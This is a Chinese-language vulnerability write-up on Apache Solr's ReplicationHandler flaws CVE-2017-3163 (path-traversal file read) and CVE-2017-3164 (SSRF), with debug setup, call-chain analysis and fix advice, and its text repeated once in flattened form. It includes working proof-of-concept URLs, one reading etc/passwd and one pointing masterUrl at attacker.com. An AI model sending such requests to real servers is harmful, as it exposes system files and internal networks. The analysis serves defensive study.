Apache Solr ReplicationHandler漏洞浅析(CVE-2017-3163&&CVE-2017-3164)
字数 1813 2025-08-20 18:18:05

Apache Solr ReplicationHandler漏洞分析(CVE-2017-3163 & CVE-2017-3164)

1. 漏洞概述

Apache Solr是一个基于Lucene的开源企业搜索平台,提供全文检索、命中标示、分面搜索等功能。Solr的ReplicationHandler类存在两个安全漏洞:

  1. CVE-2017-3163:任意文件读取漏洞

    • 影响版本:5.5.4之前的Solr和6.4.1之前的6.x版本
    • 漏洞原因:索引复制功能未对文件名进行验证,导致路径遍历攻击
  2. CVE-2017-3164:服务器端请求伪造(SSRF)漏洞

    • 影响版本:同上
    • 漏洞原因:缺乏白名单机制,允许攻击者使Solr执行任意HTTP GET请求

2. 环境搭建

2.1 所需工具

  • JDK 1.8.0_112
  • Apache Ant 1.9.15
  • Apache Solr 6.0.0
  • IDEA (用于调试)

2.2 搭建步骤

  1. 下载Solr 6.0.0源码:

    https://archive.apache.org/dist/lucene/solr/6.0.0/solr-6.0.0-src.tgz
    
  2. 安装Ant (OSX示例):

    brew install ant@1.9 && brew link --force ant@1.9
    
  3. 构建Solr:

    cd solr-6.0.0
    ant idea
    ant ivy-bootstrap
    cd solr
    ant server
    
  4. 生成测试数据并启动:

    cd solr/bin/
    chmod 777 solr
    ./solr -f -e dih
    
  5. 设置远程调试:

    ./solr stop -p 8983
    ./solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=6666" -p 8983 -s "/path/to/solr/example/example-DIH/solr"
    
  6. IDEA配置远程调试:

    • 调试类:org.apache.solr.servlet.SolrDispatchFilter
    • 方法:doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain)

3. CVE-2017-3163 任意文件读取漏洞分析

3.1 漏洞复现

恶意请求示例:

http://127.0.0.1:8983/solr/db/replication?command=filecontent&file=etc/passwd&wt=filestream&generation=1

3.2 漏洞调用链

  1. 请求处理流程:

    • SolrDispatchFilter#doFilter → 创建HttpSolrCall对象
    • HttpSolrCall#call → 初始化解析handler、path、action等
    • HttpSolrCall#execute → 获取SolrCore对象并调用handler
  2. 关键处理点:

    • ReplicationHandler#handleRequestBody解析command为"filecontent"
    • 进入getFileStream方法
    • 创建DirectoryFileStream对象并添加到响应中
  3. 文件读取点:

    • DirectoryFileStream#write方法中调用dir.openInput
    • 路径拼接结果为:/solr/db/data/index/etc/passwd

3.3 漏洞原因

  • 未对file参数进行路径遍历检查
  • 直接拼接用户输入到文件路径中
  • 允许读取服务器上的任意文件

4. CVE-2017-3164 SSRF漏洞分析

4.1 漏洞复现

恶意请求示例:

http://127.0.0.1:8983/solr/db/replication?command=fetchindex&masterUrl=http://attacker.com/&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb

4.2 漏洞调用链

  1. 请求处理流程:

    • ReplicationHandler#handleRequestBody解析command为"fetchindex"
    • 开启新线程并调用doFetch方法
    • 创建IndexFetcher对象并调用fetchLatestIndex
  2. SSRF触发点:

    • IndexFetcher#getLatestVersion方法
    • 直接使用用户提供的masterUrl发起HTTP请求
    • 无任何白名单或URL验证机制

4.3 漏洞原因

  • 完全信任用户提供的masterUrl参数
  • 缺乏对目标URL的验证机制
  • 允许向任意地址发起HTTP请求

5. 漏洞修复建议

  1. 升级到安全版本:

    • Solr 5.5.4或更高版本
    • Solr 6.4.1或更高版本
  2. 临时缓解措施:

    • 限制对ReplicationHandler的访问
    • 配置防火墙规则限制Solr的出站连接
  3. 代码层面修复:

    • 对文件路径进行规范化并检查路径遍历
    • 实现URL白名单机制
    • 验证所有用户提供的输入参数

6. 技术总结

这两个漏洞都源于Solr的ReplicationHandler对用户输入缺乏充分验证:

  1. 文件读取漏洞(CVE-2017-3163):

    • 根本原因:路径遍历攻击
    • 影响:可读取服务器敏感文件
    • 修复关键:文件路径验证
  2. SSRF漏洞(CVE-2017-3164):

    • 根本原因:无限制的HTTP请求
    • 影响:可探测内网、攻击内部服务
    • 修复关键:URL白名单机制

这两个漏洞的组合使用可导致严重的服务器安全风险,建议所有受影响用户尽快升级。

Apache Solr ReplicationHandler漏洞分析(CVE-2017-3163 & CVE-2017-3164) 1. 漏洞概述 Apache Solr是一个基于Lucene的开源企业搜索平台,提供全文检索、命中标示、分面搜索等功能。Solr的ReplicationHandler类存在两个安全漏洞: CVE-2017-3163 :任意文件读取漏洞 影响版本:5.5.4之前的Solr和6.4.1之前的6.x版本 漏洞原因:索引复制功能未对文件名进行验证,导致路径遍历攻击 CVE-2017-3164 :服务器端请求伪造(SSRF)漏洞 影响版本:同上 漏洞原因:缺乏白名单机制,允许攻击者使Solr执行任意HTTP GET请求 2. 环境搭建 2.1 所需工具 JDK 1.8.0_ 112 Apache Ant 1.9.15 Apache Solr 6.0.0 IDEA (用于调试) 2.2 搭建步骤 下载Solr 6.0.0源码: 安装Ant (OSX示例): 构建Solr: 生成测试数据并启动: 设置远程调试: IDEA配置远程调试: 调试类: org.apache.solr.servlet.SolrDispatchFilter 方法: doFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse, javax.servlet.FilterChain) 3. CVE-2017-3163 任意文件读取漏洞分析 3.1 漏洞复现 恶意请求示例: 3.2 漏洞调用链 请求处理流程: SolrDispatchFilter#doFilter → 创建 HttpSolrCall 对象 HttpSolrCall#call → 初始化解析handler、path、action等 HttpSolrCall#execute → 获取SolrCore对象并调用handler 关键处理点: ReplicationHandler#handleRequestBody 解析command为"filecontent" 进入 getFileStream 方法 创建 DirectoryFileStream 对象并添加到响应中 文件读取点: DirectoryFileStream#write 方法中调用 dir.openInput 路径拼接结果为: /solr/db/data/index/etc/passwd 3.3 漏洞原因 未对 file 参数进行路径遍历检查 直接拼接用户输入到文件路径中 允许读取服务器上的任意文件 4. CVE-2017-3164 SSRF漏洞分析 4.1 漏洞复现 恶意请求示例: 4.2 漏洞调用链 请求处理流程: ReplicationHandler#handleRequestBody 解析command为"fetchindex" 开启新线程并调用 doFetch 方法 创建 IndexFetcher 对象并调用 fetchLatestIndex SSRF触发点: IndexFetcher#getLatestVersion 方法 直接使用用户提供的 masterUrl 发起HTTP请求 无任何白名单或URL验证机制 4.3 漏洞原因 完全信任用户提供的 masterUrl 参数 缺乏对目标URL的验证机制 允许向任意地址发起HTTP请求 5. 漏洞修复建议 升级到安全版本: Solr 5.5.4或更高版本 Solr 6.4.1或更高版本 临时缓解措施: 限制对ReplicationHandler的访问 配置防火墙规则限制Solr的出站连接 代码层面修复: 对文件路径进行规范化并检查路径遍历 实现URL白名单机制 验证所有用户提供的输入参数 6. 技术总结 这两个漏洞都源于Solr的ReplicationHandler对用户输入缺乏充分验证: 文件读取漏洞(CVE-2017-3163): 根本原因:路径遍历攻击 影响:可读取服务器敏感文件 修复关键:文件路径验证 SSRF漏洞(CVE-2017-3164): 根本原因:无限制的HTTP请求 影响:可探测内网、攻击内部服务 修复关键:URL白名单机制 这两个漏洞的组合使用可导致严重的服务器安全风险,建议所有受影响用户尽快升级。